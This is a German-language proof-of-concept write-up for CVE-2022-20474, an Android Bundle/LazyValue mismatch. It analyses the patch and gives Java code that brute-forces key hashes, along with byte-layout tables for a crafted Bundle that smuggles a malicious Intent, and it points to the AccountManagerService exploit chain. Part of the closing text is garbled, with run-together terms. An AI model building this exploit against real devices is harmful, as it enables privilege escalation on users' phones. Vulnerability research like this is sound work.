
PoC von CVE-2022-20474
Freundlicher Hinweis: Bevor Sie diesen Artikel lesen, sollten Sie ein grundlegendes Verständnis der Bundle-Mismatch-Schwachstellen haben. Falls Sie die folgenden Referenzen noch nicht gelesen haben, wird empfohlen, diese zuerst zu lesen:
Vor kurzem habe ich mich intensiv mit dem LeakValue-Artikel von michalbednarski beschäftigt. Bei einer Diskussion mit Canyie erwähnte er, dass in diesem Artikel auch ein Fall von Self-changing Bundle im LazyValue-Szenario beschrieben wird. Daraufhin suchte ich den Originaltext und fand tatsächlich diesen Abschnitt, den ich beim Lesen von Michals Artikel direkt übersehen hatte. Im Original heißt es:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal bezog sich auf CVE-2022-20474 (bulletin, patch). Ich habe mir den Patch angesehen, aber die Funktion im Patch-Link war nicht vollständig. Nachdem ich sie ergänzt habe, habe ich sie mir genauer angesehen:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
Das objectLength im Code entspricht dem length in LazyValue. Tatsächlich ist dies nur die Länge des variablen Objekts, das in LazyValue enthalten ist. Die gesamte Länge von LazyValue wird jedoch durch das Feld mLength gesteuert, also valueLength im Code, das im Konstruktor von LazyValue an mLength übergeben wird.
Vergleichen wir nun das Layout von LazyValue:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Basierend auf dem obigen Inhalt können wir die folgenden Fakten ableiten:
mLength repräsentiert die gesamte Länge von LazyValue, mLength = objectLength + 8 Bytes.objectLength sollte größer oder gleich 0 sein.LazyValue-Objekt speichert nur mLength, nicht objectLength, da LazyValue bei einer Speicherkopie das gesamte Objekt kopiert.LazyValue erneut gelesen.Nach eingehender Überlegung kamen wir übereinstimmend zu dem Schluss, dass diese Fakten keinen Wert haben! Denn basierend auf den obigen Fakten kann man nur während des Lesens einmal modifizieren. Wir wissen jedoch, dass der Kern des Self-changed Bundle darin besteht, die Modifikation nach dem Lesen durchzuführen, um Sicherheitsprüfungen zu umgehen.
Gerade als wir aufgeben wollten, entdeckten wir plötzlich einige Details in der Patch-Beschreibung:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLengthDarin wird erwähnt, dass bei einem objectLength von -8 einige Probleme auftreten. Das gab uns zusätzliche Hinweise. Kann LazyValue in diesem Fall normal angewendet werden?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
Man sieht, dass das eigentliche readValue von mPosition aus liest, dann nacheinander LazyType und objectLength liest und dann in den normalen Value-Lesevorgang übergeht, z.B. muss Parcelable den ClassName lesen und dann createFromParcel ausführen. Nach dem Lesen gibt es keinen Unterschied zu einem normalen Key-Value und es hat keine Auswirkungen auf die nachfolgende Serialisierung. Noch einmal: Der Kern des Self-changed Bundle ist die Modifikation nach dem Lesen. Hier handelt es sich lediglich um einen normalen Out-of-Bounds-Read, also scheint dieser Ansatz nicht zu funktionieren.
Was passiert, wenn LazyValue in diesem Prozess nicht applyed wird? Mit anderen Worten, es nimmt weiterhin als LazyValue an IPC teil, dann wird seine writeToParcel-Funktion aufgerufen:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
Das gesamte LazyValue wird direkt kopiert, es sei denn mLength = 0. Moment! Oben wurde erwähnt, dass mLength = objectLength + 8 Bytes ist. Aus den Patch-Informationen geht hervor, dass objectLength -8 sein muss, um die Schwachstelle auszulösen, dann gilt mLength = 0. Mit anderen Worten: In diesem Szenario verschwindet das gesamte LazyValue einfach und nur der String Key wird kopiert, was zu einem fehlenden Write führt. Die Bedingung für Self-changed Bundle ist direkt erfüllt.
Nachdem wir die Ursache kennen, können wir mit der Reproduktion beginnen, aber davor brauchen wir noch ein paar Details.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Wir alle wissen, dass das Speicherlayout von Bundle ungefähr wie folgt aussieht:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC ist die Magic Number des Bundle im Speicherlayout, kann BUNDLE_MAGIC oder BUNDLE_MAGIC_NATIVE sein. Der wichtigste Unterschied besteht darin, dass BUNDLE_MAGIC die Key-Value-Paare nach der Deserialisierung neu anordnet, wie im folgenden Code gezeigt:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
Das MAGIC-Flag beeinflusst letztendlich den Wert von sorted in readArrayMap, was eine Sortierung der Map auslöst. Die Kommentare erwähnen auch, dass die Sortierung anhand des Hash-Werts des key String erfolgt.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Lassen Sie uns noch einmal den Parsing-Prozess von ArrayMap durchdenken. In der ersten Runde wird zuerst Key1 geparst, dann wird versucht, LazyValue1 zu parsen. Da objectLength von LazyValue1 -8 ist, wird der Parcel-Zeiger zum Anfang von LazyValue1 zurückgesetzt, also zu Punkt a. Dies entspricht Fakt 4 von oben. Damit ist das erste Key-Map-Paar fertig geparst. Das zweite Key-Value-Paar wird ab Punkt a geparst. Dabei wird zuerst die Länge des Strings gelesen. Angenommen, LazyValue1 enthält ein Parcelable, dann sollte diese Länge 4 sein. Daher beginnt der eigentliche Key2 bei Punkt a, also Key2 = LazyValue1 + . enthält keine Daten, also ist seine Länge 8 Bytes ( + ). Die gesamte String-Länge beträgt 4 (Längenindikator) + 4*2 + 4 ("\0") = 16 Bytes. Abzüglich der 8 Bytes von müssen wir bei der Konstruktion 8 weitere Bytes anhängen, also 2 . Dann wird gelesen. Daher benötigen wir bei der ersten Analyse ein , um das Problem des vorwärts bewegten Zeigers aufgrund des negativen von zu bewältigen. Der Wert dieses ist uns egal, da er nur während der ersten Analyse verwendet wird – es ist nur ein Platzhalter. Da der Platzhalter nach Gebrauch weggeworfen wird, möchten wir, dass er nach der ersten Analyse weit von unseren kritischen Daten entfernt ist, und dass unsere bösartigen Daten enthält. Idealerweise sollte der Hash-Wert von größer sein als der von , damit er die nachfolgende Analyse nicht beeinflusst. Durch können wir dieses Ziel erreichen, indem wir den Hash-Wert von anpassen, was in näher erläutert wird. Dann gehen wir zur Analyse von über. Nach dem üblichen -Verfahren legen wir in ein mit dem bösartigen ab, aber es gibt zusätzliche Einschränkungen für . Nach Abschluss der ersten Deserialisierung sollte das -Layout wie folgt aussehen, wobei der Platzhalter am Ende landet:
Key1-Value1 | Key3-Value3 | Key2-Value2
Wie oben in Anormale objectLength erwähnt, beträgt die Länge von LazyValue1 0, daher wird es in writeToParcel überhaupt nicht kopiert! Das tatsächliche Layout ist:
Key1 | Key3-Value3 | Key2-Value2
Nachdem Key1 gelesen wurde, muss noch Value1 gelesen werden. Hier kommt es erneut zu einem Out-of-Bounds-Read, und Key3 muss die Rolle übernehmen, LazyValue1 zu lesen. Das erste int in Key3 muss sowohl die Rolle der String-Länge als auch die des LazyValue-Typs spielen. Das bedeutet, dass die Länge von Key3 nicht zu kurz sein darf, da sonst der Hash schwer zu berechnen ist. Nach einem Blick auf die Liste der LazyValue-Typen habe ich mich für:
private static final int VAL_LIST = 11; // length-prefixed
Natürlich könntest du auch 12, 16 oder 17 wählen, solange sie nicht zu kurz sind.
Das zweite int in Key3 muss auch als Length von LazyValue dienen. Dadurch können wir die Länge von LazyValue1 steuern und den nächsten Zeiger auf den Anfang des bösartigen Intent setzen. Du fragst dich, ob der Inhalt von LazyValue1 ungültig ist? Das ist mir egal, solange du getXXX nicht aufrufst, um es zu applyen, bleibt es immer ein LazyValue.
Schreiben Sie einfach einen Brute-Forcer:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Natürlich könnten wir auch Key2 brute-forcen und es nach vorne verschieben, aber die Länge von Key2 ist fest auf 4 Bytes gesetzt, was relativ kurz ist und weniger Spielraum bietet. Die Länge von Key3 haben wir oben bereits etwas reserviert, um das Brute-Forcen zu erleichtern. Angenommen, unser Key1 ist der String "Cxxsheng". Wir möchten, dass der Hash-Wert von Key3 größer ist als der von "Cxxsheng", aber nur geringfügig größer. Ich habe 1000000 gesetzt, damit sie mit hoher Wahrscheinlichkeit immer zusammenbleiben und der Dritte, Key2, sich nicht dazwischenquetschen kann. Wie oben erwähnt, sind die ersten beiden ints des Strings fest. Daher schreiben wir zuerst VAL_LIST (auch String-Länge), berechnen, dass noch 32 Bytes bis zum bösartigen Intent fehlen, und die restlichen Nullen können zum Brute-Forcen verwendet werden. Beliebige zwei zum Brute-Forcen auswählen.
Durch number1 und number2 kann die Sortierung des dritten Werts im ArrayMap gesteuert werden. Da ArrayMap nach dem hashcode des key sortiert, kann der dritte Wert nach der Deserialisierung zum zweiten werden, direkt nach dem ersten "Cxxsheng", wie unten gezeigt:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[Kauderwelsch]=[bösartiges ByteArray], [Kauderwelsch]=0}]
Man sieht, dass die Lesereihenfolge auch von der Schreibreihenfolge abweicht. Nach Abschluss des Schreibens haben wir oben analysiert, dass das gesamte LazyValue verloren gegangen ist, und das dritte Key-Value-Paar wurde an die zweite Stelle sortiert, einschließlich type und objectLength. Daher wird das Seitenlayout wie folgt aussehen:
Der Leser kann die klassische AccountManagerService-Exploit-Kette verwenden. Ob sie ausnutzbar ist, wird hier nicht weiter ausgeführt, da dies davon abhängt, ob im November-2022-Patch die Funktion checkKeyIntentParceledCorrectly vorhanden ist. Zusätzlich wird erläutert, dass diese Funktion den simulierten IPC-Ablauf verwendet, um die AccountManagerService-Exploit-Kette zu blockieren. Daher kann selbst bei vorhandenem Mismatch auf Android 12 oder 13 eine Ausnutzung möglicherweise nicht erfolgreich sein; es ist erforderlich, eine Methode zur Umgehung dieser Funktion zu finden.
Wir können diese Funktion nachbilden, um den IPC-Ablauf zu simulieren:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
// marshall不会改变Parcel指针
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Dann betrachten Sie das Log-Ausgabediagramm durch den simulierten IPC-Ablauf. Details finden Sie in meinem GitHub-Code:

FakeKey2LazyValue1LazyTypeobjectLengthLazyValue1writeIntValue2Key2-Value2objectLengthLazyValue1Key2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle MismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| Wert | Beschreibung |
|---|
| "Cxxsheng" | Erster Schlüssel |
| 4 | Wird zwei Runden gelesen: Erste Runde repräsentiert VAL_PARCELABLE; zweite Runde wird zur String-Länge des zweiten Schlüssels |
| -8 | Wird zwei Runden gelesen: Erste Runde repräsentiert objectLength von LazyValue, führt zur Vorwärtsbewegung des Lesezeigers und damit zu zwei Lesevorgängen; zweite Runde wird zum String-Wert des zweiten Schlüssels |
| 0 | String-Wert des zweiten Schlüssels |
| 0 | String-Wert des zweiten Schlüssels |
| 1 | VAL_INTEGER |
| 0 | Zweiter Wert |
| 11 | String-Länge des dritten Schlüssels |
| 32 | String-Wert des dritten Schlüssels |
| 0 | String-Wert des dritten Schlüssels |
| 0 | String-Wert des dritten Schlüssels |
| number1 | String-Wert des dritten Schlüssels, diese beiden Werte dienen zur Sortieranpassung |
| number2 | String-Wert des dritten Schlüssels, diese beiden Werte dienen zur Sortieranpassung |
| 0 | String-Wert des dritten Schlüssels |
| 13 | VAL_BYTEARRAY |
| Länge von LazyValue | Berechnet |
| Länge von ByteArray | Berechnet |
| ByteArray | Enthält das bösartige Key-Value-Paar, d.h. Intent.EXTRA_INTENT und seinen Intent |
| Wert | Beschreibung |
|---|
| "Cxxsheng" | Erster Schlüssel |
| 11 | VAL_LIST |
| 32 | Länge des ersten Werts. Ob der Rest gültig ist, ist nicht wichtig (dieses LazyValue wird ohnehin nicht applyed). Dies verweist direkt auf den Anfang des bösartigen Intent im ByteArray |
| 0 | Wert im LazyValue |
| 0 | Wert im LazyValue |
| number1 | Wert im LazyValue |
| number2 | Wert im LazyValue |
| 0 | Wert im LazyValue |
| 13 | Wert im LazyValue |
| Länge von LazyValue | Wert im LazyValue |
| Länge von ByteArray | Wert im LazyValue |
ByteArray Anfang/Intent.EXTRA_INTENT | Zweiter Schlüssel |
| Intent | Zweiter Wert |
| Drittes Key-Value-Paar | Wird ans Ende sortiert |